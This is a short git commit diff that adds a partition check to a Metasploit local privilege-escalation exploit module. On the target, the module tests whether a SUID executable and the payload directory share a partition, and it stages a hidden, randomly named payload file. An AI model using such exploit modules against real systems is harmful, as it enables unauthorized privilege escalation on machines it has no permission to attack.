Add partition check
parent
9e11632608
commit
45249d582d
|
@ -130,6 +130,14 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||
end
|
||||
|
||||
suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
|
||||
base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
|
||||
if suid_partition == base_partition
|
||||
vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
|
||||
else
|
||||
print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
|
||||
end
|
||||
|
||||
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||
payload_path = "#{base_dir}/#{payload_name}"
|
||||
|
||||
|
|
Loading…
Reference in New Issue